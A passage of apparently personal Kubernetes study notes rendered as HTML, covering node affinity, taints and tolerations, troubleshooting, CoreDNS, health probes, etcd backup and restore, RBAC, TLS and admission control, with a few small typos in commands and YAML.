</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">with-node-affinity</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">affinity</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">nodeAffinity</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">requiredDuringSchedulingIgnoredDuringExecution</span>: 
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">nodeSelectorTerms</span>:
</span></span><span style="display:flex;"><span>                - <span style="color:#f92672">matchExpressions</span>:
</span></span><span style="display:flex;"><span>                    - <span style="color:#f92672">key</span>: <span style="color:#ae81ff">ntype</span>
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">operator</span>: <span style="color:#ae81ff">In</span>
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">values</span>:
</span></span><span style="display:flex;"><span>                      - <span style="color:#ae81ff">virus</span>
</span></span></code></pre></div><ul>
<li>Taint &amp; toleration: Taint usage: we want to have reserved nodes in the cluster. Toleration allows to run pods on taint nodes.
Three taint effects of a node:</li>
</ul>
<ol>
<li>NoSchedule: pod will not be scheduled on rejected nodes.</li>
<li>PreferNoSchedule: system tries to avoid scheduling pods, but doesn&rsquo;t guarantee it.</li>
<li>NoExecute: even pod that is running will be evicted.</li>
</ol>
<p><strong>To make a node schedulable or UnSchedulable:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl taint node &lt;NodeName&gt; key<span style="color:#f92672">=</span>value:&lt;tainteffect&gt;
</span></span></code></pre></div><p>e.g. taint worker1 with label hold=virus and NoSchedule tainteffect: <code>$kubectl taint nodes worker1 hold=virus:NoSchedule</code></p>
<p>Yaml file of Pod that tolerates tainted node:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">pod</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">nginx</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">spec</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">toleration</span>:
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">key</span>: <span style="color:#ae81ff">“hold”</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">operator</span>: <span style="color:#ae81ff">“Equal”</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">value</span>: <span style="color:#ae81ff">“virus”</span>
</span></span></code></pre></div><p><strong>Make above node schedulable (untaint):</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl taint nodes worker <span style="color:#ae81ff">1</span> hold<span style="color:#f92672">=</span>virus:NoSchedule
</span></span></code></pre></div><p><strong>Retrieve schedulable nodes:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl describe node &lt;nodename&gt; | grep -i taint 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Taints: &lt;none&gt;
</span></span><span style="display:flex;"><span><span style="color:#75715e">#OR</span>
</span></span><span style="display:flex;"><span>Taints: node-role.kubernetes.io/master:NoSchedule
</span></span></code></pre></div><p><strong>Retreieve taint state of all nodes:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl describe node | grep -i taint
</span></span></code></pre></div><h2 id="t-shoot">T-Shoot</h2>
<ul>
<li>If the k8s API Server is down, we get following error:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get nodes
</span></span><span style="display:flex;"><span>The connection to the server localhost:6443 was refused - did you specify the right host or port?
</span></span></code></pre></div>T-Shoot:
<ol>
<li>Is docker service and kubelet running on all nodes of cluster?</li>
<li>Check whether the API server is down in /etc/kubernetes/manifests/kube-apiserver.yaml</li>
</ol>
</li>
<li>Check system pods:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get pods -n kube-system
</span></span></code></pre></div><ul>
<li>Read logs:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$journalctl -u kubelet
</span></span><span style="display:flex;"><span>$journalctl -u docker
</span></span></code></pre></div><ul>
<li>See /var/logs directory:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/var/logs/kube-apiserver.log
</span></span><span style="display:flex;"><span>/var/logs/kube-scheduler.log
</span></span><span style="display:flex;"><span>/var/logs/kube-controller-manager.log
</span></span></code></pre></div><ul>
<li>See logs inside a container:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl logs podName -c ContainerName
</span></span></code></pre></div><ul>
<li>Check DNS and kube-proxy: there is an image named nicolaka/netshoot that have tools for network tshoot:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl run tmp-shell --rm -i --tty --labels <span style="color:#e6db74">&#34;app=test00&#34;</span> --image nicolaka/netshoot --/bin/bash
</span></span></code></pre></div><h2 id="dns-in-kubernetes">DNS in Kubernetes</h2>
<p>CoreDNS: CoreDNS is the DNS Server in kubernetes cluster. It creates a record for a service so each pod &ldquo;in the cluster&rdquo; can reach the service by its name. CoreDNS has 2 replica pods in “kube-system” namespace for redundancy.

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">When a client wants to call a pod, the client wants to call the service&rsquo;s pod. It does that by doing a DNS lookup. And that&rsquo;s where the load-balancing comes in.</div>
    </aside></p>
<p>T-shoot DNS issues in cluster:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get pods -n kube-system --show-labels <span style="color:#75715e">#to see CoreDNS labels</span>
</span></span><span style="display:flex;"><span>$kubectl logs -n kube-system -l k8s-app<span style="color:#f92672">=</span>kube-dns <span style="color:#75715e">#to see logs of both coreDNS pods (k8s-app=kube-dns is the coreDNS label)</span>
</span></span></code></pre></div><p>Test coreDNS:</p>
<ol>
<li><code>kubectl get svc -n kube-system | grep dns #the result shows the service of coreDNS pods and its IP.</code></li>
<li>Go to the container of the pod &amp; check : /etc/resolve.conf &mdash;&gt; The IP address of the nameserver is equal to ip address above.</li>
</ol>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">It is duty of kubelet to put ip addr of coreDNS inside resolve.conf of pods. You can check ip addr of clusterDNSinside kubelet config file (/var/lib/kubelet/config.yaml)</div>
    </aside>
<h3 id="fqdn--fully-qualified-domain-name">FQDN : Fully Qualified Domain Name</h3>
<p>When we want to talk to services in the same namespace: only name of service is required (e.g: myservice)</p>
<p>When we want to talk to services in the different namespace: we must include namespace as well (e.gmyservice.default)

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">There is an entry in /etc/resolve.conf of pods (search default.svc.cluster.lcoal) which makes it possible forservices to reach each other w/o mentioning the BaseDomainName.</div>
    </aside></p>
<h2 id="health-checking">Health Checking</h2>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><ul>
<li>Health checking happens until the pod is up and running in your K8s cluster.</li>
<li>With using update strategies along with health checking(probes), we can have zero-downtime apps.</li>
</ul>
</div>
    </aside>
<h3 id="pod-lifecycle">Pod Lifecycle</h3>
<ol>
<li>Running: The Pod has been bound to a node, and all of the containers have been created. At least onecontainer is still running, or is in the process of starting or restarting.</li>
<li>Terminate: the pod&rsquo;s goal is to change a configFile or create a directory or …, then it gets terminated.</li>
<li>Succeed: All containers in the Pod have terminated in success, and will not be restarted.</li>
<li>Failed: All containers in the Pod have terminated, and at least one container has terminated in failure. Thatis, the container either exited with non-zero status or was terminated by the system.</li>
</ol>
<h3 id="probes-in-k8s">Probes in k8s</h3>
<p>There are three types of probes to check if the pod is started and succeeded correctly.</p>
<ol>
<li>Readiness : to check inside my pod if the Entrypoint or CMD commands are working correctly. to check inside Pod, we have 3 types of apps:
<ul>
<li>HTTP or HTTPS apps: they serve something based on HTTP (or HTTPS). we then receive 200 or 300. (the URLcalled returns 2XX or 3XX status code). This all means that the app inside pod is run correctly.</li>
<li>Apps are TCP: they listen on a port. (they are not HTTP). K8s will telnet the port (inside Pod) and if it cantelnet, it means the port is open and app inside Pod is working correctly.</li>
<li>App is not HTTP or TCP: (for instance its UDP). we can run a command inside the container and expect toreturn 0 (exit status).</li>
</ul>
</li>
</ol>
<h3 id="liveness-">Liveness :</h3>
<p>Check containers status (Readiness checks Pod status). When something is wrong with livenessProbe, it means that the app has a problem in container layer.</p>
<h3 id="startup-">Startup :</h3>
<p>Startup probes were introduced for Java apps first. But now it has a different definition. It is usedwhen time for starting your app is unusual (e.g Java apps, that jar file takes a long time to start).</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">Readiness and liveness are not started until startup probe reaches its first success threshold.</div>
    </aside>
<h4 id="check-health-parameters">Check Health Parameters</h4>
<ul>
<li>Check Interval: every what second should I call URL? (url for HTTP apps)</li>
<li>Initial Delay: time needed to start up container until calling my app. time for all processes needed to startyour app.</li>
<li>Success Threshold: In your check Interval, if your app succeeded 1 time (if set to 1), my app is startedcorrectly. now kubeproxy can route network to new Pod.</li>
<li>Failed Threshold: when my app is failed up to Failed Threshold times (3 for example), it is in Failed State.</li>
</ul>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><p>Difference between stateful and Deployment:</p>
<p>If a stateful has 5 replicas, the second replica will be created if the first was successful. and the numbering is from zero. Therefore, in updating we don&rsquo;t have max surge and max unavailable.</p>
<p>Creation is from zero and updating from 4 (the last pod).</p>
</div>
    </aside>
<h2 id="etcd">ETCD</h2>
<h3 id="backup-etcd">Backup ETCD</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ETCDCTL_API<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> etcdctl --endpoints<span style="color:#f92672">=</span>https://127.0.0.1:2379 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>--cacert<span style="color:#f92672">=</span>&lt;trusted-ca-file&gt; --cert<span style="color:#f92672">=</span>&lt;cert-file&gt; --key<span style="color:#f92672">=</span>&lt;key-file&gt; <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>snapshot save &lt;backup-file-location&gt;
</span></span></code></pre></div><p>Use above certificates from below command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$cat /etc/kubernetes/manifests/etcd.yaml | grep /etc/kubernetes/pki/
</span></span></code></pre></div><p>Example of backup from etcd:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ETCDCTL_API<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> etcdctl --endpoints<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://192.168.4.42:2379&#34;</span> --cacert<span style="color:#f92672">=</span>/etc/kubernetes/pki/etcd/ca.crt <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>--cert<span style="color:#f92672">=</span>/etc/kubernetes/pki/etcd/server.crt --key<span style="color:#f92672">=</span>/etc/kubernetes/pki/etcd/server.key <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>snapshot save /etc/data/etcdsnapshot.db 
</span></span></code></pre></div><p>Verify the Snapshot:
We don&rsquo;t need authentication for below command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ETCDCTL_API<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> etcdctl --write-out<span style="color:#f92672">=</span>table snapshot status &lt;backup-file-location&gt;
</span></span></code></pre></div><h3 id="restore-etcd">Restore ETCD</h3>
<p>Example of restore from etcd:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo ETCDCTL_API<span style="color:#f92672">=</span><span style="color:#ae81ff">3</span> etcdctl snapshot restore /home/cloud_user/etcd_backup.db <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>--initial-cluster etcd-restore<span style="color:#f92672">=</span>https://10.0.1.101:2380 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>--initial-advertise-peer-urls https://10.0.1.101:2380 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>--name etcd-restore <span style="color:#ae81ff">\ </span>
</span></span><span style="display:flex;"><span>--data-dir /var/lib/etcd
</span></span></code></pre></div><p>Verify Restore:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>kubectl get all
</span></span></code></pre></div><h2 id="security-cks">Security (CKS)</h2>
<p>Access to K8s API:</p>
<pre class="mermaid">flowchart LR
    A --> B
    C --> B
    B --> D
    D --> E
    E --> F

	subgraph B ["Authentication"]
		n2
	end
	
    subgraph D ["Authorization"]
		n3
	end
	
subgraph E ["Admission Control"]
		n4
	end
	
subgraph F ["Kubernetes Objects"]
		n5[" "]
        
	end
    A@{ shape: "circle", label: "Human User (kubectl)" }
	C@{ shape: "circle", label: "Pod (Service Account)" }
    n2@{ shape: "text", label: "Checks whether the requester is a valid user who can access the cluster" }
    n3@{ shape: "text", label: "Checks whether user is authorized to perform requested actions" }
	n4@{ shape: "text", label: "Checks whether request is secure and compliant" }
	n5@{ shape: "cyl" }
</pre><h3 id="authentication">Authentication</h3>
<p>Both human users and Kubernetes service accounts can be authorized for API access. Whenever we call API (with kubectl command), we are authenticated.</p>
<p>The API serves on port 443, and all k8s components are protected by TLS with API.</p>
<p><strong>Authentication Mechanisms:</strong> There are different authentication mechanisms that can be configured: certificates, password, and plain tokens, bootstrap tokens, and JSON Web Tokens (used for service accounts). each one is tried in sequence, until one of them succeeds. If the request cannot be authenticated, it is rejected with HTTP status code 401.</p>
<h3 id="authorization">Authorization</h3>
<p>After the request is authenticated as coming from a specific user, the request must be authorized. A request must include the username of the requester, the requested action, and the object affected by the action. The request is authorized if an existing policy declares that the user has permissions to complete the requested action.</p>
<p>##Authorization Mechanisms: Node Authorization, Attribute-based Authorization (ABAC), Role-Based Authorization (RBAC)</p>

    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content">We can check which authorization mode is used in apiserver configuration: <code>$cat /etc/kubernetes/manifest/kube-apiserver.yaml--authorization-mode=RBAC</code></div>
    </aside>
<h2 id="tls-certificates">TLS Certificates</h2>
<p>TLS Certificate is a way to establish secure communication between client &amp; server using SSL/TLS protocol.</p>
<p><strong>Certificates</strong> are used within a cryptographic system known as a public key infrastructure (PKI).</p>
<p><strong>Asymmetric encryption:</strong> we have a key pair (public,private) to encrypt &amp; decrypt data.</p>
<p><strong>Certificate Authority:</strong> there is an organization called Certificate Authority (CA) which gives website owners a certificate that certifies the ownership of website. The owner of website asks CA to prove that their public key is really for the website. And this CA issues a certificate which has: public key, name of the website &amp; subdomains and the signature of the CAs.</p>
<p><strong>OpenSSL:</strong> with this tool we have public &amp; private key but we want the public key to be certified by a trusted CA. This whole process is called PKI (Public Key Infrastructure).</p>
<p>In kubernetes, every component that talks to API-Server needs to provide a certificate to authenticate itself with API-Server. We generate a self-signed CA Certificate for k8s. we use it to sign all the client &amp; server certificates with it (all these certificates are stored in /etc/kubernetes/pki)</p>
<h3 id="rbac">RBAC</h3>
<p>Role-Based Access Control. RBAC is one of the multiple Authorization methods. RBAC is a mechanism that enables you to configure set of permissions that define how a user can interact with any k8s object in cluster or particular namespace.</p>
<p>It consists of 3 parts:</p>
<ol>
<li>Service Account : Provides an Identity for processes that run in a Pod. 
    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>Note</b>
        </div>
        <div class="admonition-content"><em>Service Account vs. User Account:</em> When you (a human) access the cluster (kubectl …) you are authenticated by apiserver as a User Account(usually admin, unless your cluster administrator has customized your cluster). Processes inside pods can also contact the apiserver. They are authenticated as a Service Account(for example: default).</div>
    </aside>
ServiceAccount yaml file:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">ServiceAccount </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">my-serviceaccount</span>
</span></span></code></pre></div><ul>
<li>List SAs in current namespace:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get sa
</span></span></code></pre></div><ul>
<li>List SAs in all namespaces:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl get sa --all-namespaces
</span></span></code></pre></div><ul>
<li>Create an SA in Imperative mode:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl create sa p1
</span></span></code></pre></div><ul>
<li>Create an SA in declarative mode:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$kubectl create sa sa-test1 --dry-run<span style="color:#f92672">=</span>client -o yaml
</span></span></code></pre></div><ol start="2">
<li>Role/ClusterRole: They are k8s objects that define set of permissions. Role is in the scope of a Namespace. ClusterRole is in the scope of cluster.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create clusterrole pvviewer-role --resource<span style="color:#f92672">=</span>pods --verb<span style="color:#f92672">=</span>list
</span></span></code></pre></div><p>Role yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">rbac.authorization.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Role </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span> <span style="color:#75715e">#namespace where the role belongs to</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">pod-reader </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">rules</span>: 
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">apiGroups</span>: [<span style="color:#e6db74">&#34;&#34;</span>]   <span style="color:#75715e"># &#34;&#34; indicates the core API group(there are other apiGroups like apps including pods,deployments,… e.g deployments.apps)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">resources</span>: [<span style="color:#e6db74">&#34;pods&#34;</span>] <span style="color:#75715e">#indicates the resources that this role are for</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">verbs</span>: [<span style="color:#e6db74">&#34;get&#34;</span>, <span style="color:#e6db74">&#34;watch&#34;</span>, <span style="color:#e6db74">&#34;list&#34;</span>] <span style="color:#75715e">#verbs that we can do on above resources</span>
</span></span></code></pre></div><ol start="3">
<li>RoleBinding/ClusterRoleBinding : objects that Connect roles or ClusterRoles to users.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl create clusterrolebinding pvviewer-role-binding --clusterrole<span style="color:#f92672">=</span>pvviewer-role --serviceaccount<span style="color:#f92672">=</span>test1:p1
</span></span><span style="display:flex;"><span>$ kubectl get rolebinding 
</span></span><span style="display:flex;"><span>$ kubectl get clusterrolebinding 
</span></span></code></pre></div><p>You can check API Access with auth can-i subcommand:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kubectl auth can-i create deployments -n my-namespace
</span></span></code></pre></div><p>RoleBinding yaml file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">apiVersion</span>: <span style="color:#ae81ff">rbac.authorization.k8s.io/v1 </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">kind</span>: <span style="color:#ae81ff">RoleBinding      </span> <span style="color:#75715e"># This role binding allows &#34;jane&#34; to read pods in the &#34;default&#34; namespace. </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">metadata</span>: 
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">read-pods </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">namespace</span>: <span style="color:#ae81ff">default </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">subjects</span>:               <span style="color:#75715e"># You can specify more than one &#34;subject&#34; </span>
</span></span><span style="display:flex;"><span>    - <span style="color:#f92672">kind</span>: <span style="color:#ae81ff">User </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">jane         </span> <span style="color:#75715e">#&#34;name&#34; is case sensitive </span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">apiGroup</span>: <span style="color:#ae81ff">rbac.authorization.k8s.io </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">roleRef</span>:                <span style="color:#75715e">#&#34;roleRef&#34; specifies the binding to a Role / ClusterRole</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">kind</span>: <span style="color:#ae81ff">Role         </span> <span style="color:#75715e">#this must be Role or ClusterRole</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">pod-reader   </span> <span style="color:#75715e"># this must match the name of the Role or ClusterRole you wish to bind to</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">apiGroup</span>: <span style="color:#ae81ff">rbac.authorization.k8s.io</span>
</span></span></code></pre></div><h3 id="admission-control">Admission Control</h3>
<p>Admission Control modules are software modules that can modify or reject requests.</p>
<p>There is a flag in API Server called enable-admission-plugins. This flag calls a list of admission control plugins before modifying objects in k8s cluster.</p>
<p>Admission Control plugins:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#ae81ff">AlwaysAdmit</span> <span style="color:#75715e">#all pods come inside cluster </span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">AlwaysPullImage #all new pods are modified to imagePullPolicy</span>: <span style="color:#ae81ff">Always</span>
</span></span></code></pre></div><p>Commands:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ kube-apiserver --enable-admission-plugins<span style="color:#f92672">=</span>LimitRanger <span style="color:#75715e">#enable limitRanger admission control plugin</span>
</span></span><span style="display:flex;"><span>$ grep admission /etc/kubernetes/manifests/kube-apiserver.yaml <span style="color:#75715e">#view current admission controller setting </span>
</span></span></code></pre></div><h3 id="security-context">Security Context</h3>
<p>Pods and containers within pods can be given specific security constraints to limit what processes running in containers can do. Example: in the below example, we force a policy that containers can`t run as root users:</p>
